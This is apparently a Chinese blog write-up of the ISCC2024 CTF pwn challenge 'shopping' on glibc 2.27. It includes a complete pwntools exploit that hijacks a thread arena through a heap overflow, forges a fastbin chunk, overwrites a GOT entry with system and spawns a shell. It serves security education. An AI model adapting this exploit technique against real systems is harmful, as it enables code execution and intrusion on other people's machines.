[ISCC2024]-PWN:shopping(glibc2.27,劫持线程arena进行任意地址创建堆块)

查看保护

查看ida

这里有个要注意的点,那就是如果第一次填充堆块没填满,那第二次填充堆块就可以溢出。

完整exp:

from pwn import*
p=process('./shopping18')
system_plt=0x400978

def alloc(size,num,content1=b'',content2=b''):
    p.sendlineafter(b"Action:",b'1')
    p.sendlineafter(b"Item ID:",str(size).encode())
    p.sendlineafter(b"Quantity:",str(num).encode())
    if content1 == b'':
      p.sendlineafter(b"Add gift message? (0/1): ",b'0')
    else:
      p.sendlineafter(b"Add gift message? (0/1): ",b'1')
      p.sendafter(b"Message: ",content1)
      sleep(0.2)
      p.send(content2)


p.sendlineafter(b"Enter the password:",b"I'm ready for shopping")
for i in range(12):
    alloc(0x4000,1000,b'a'*0x4000)
payload=b'a'*0x50+p64(0x200000000)+10*p64(0x60201d)
alloc(0x4000,262,b'a'*0x3FF0,payload)
payload=b'/bin/sh'.ljust(0xB,b'\x00')+p64(system_plt)
alloc(0x60,0,payload.ljust(0x60, b'a'))
p.interactive()

解释一下,刚开始申请1000个0x4000大小的堆块是根据题目能一次申请的最大数量来申请的,这里要注意,一般线程arena是在我们所创建的堆块之前的,所以我们没有办法覆盖,但是在glibc2.27中当我们将堆块都申请完了之后,程序就会在我们的堆块之前再mmap一个线程arena,我们可以劫持这个线程arena。这里的1000个0x4000堆块和下面的262个0x4000堆块都是为了接近线程arena。

然后在达到线程arena之后,维持0x200000000原有数据,在它之后覆盖目标地址。

这样fastbin就会出现目标地址的堆块了。

然后申请出来,将0x602038地址覆盖为system,将rbp+8处覆盖为/bin/sh,就可以getshell了。

  • 10
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值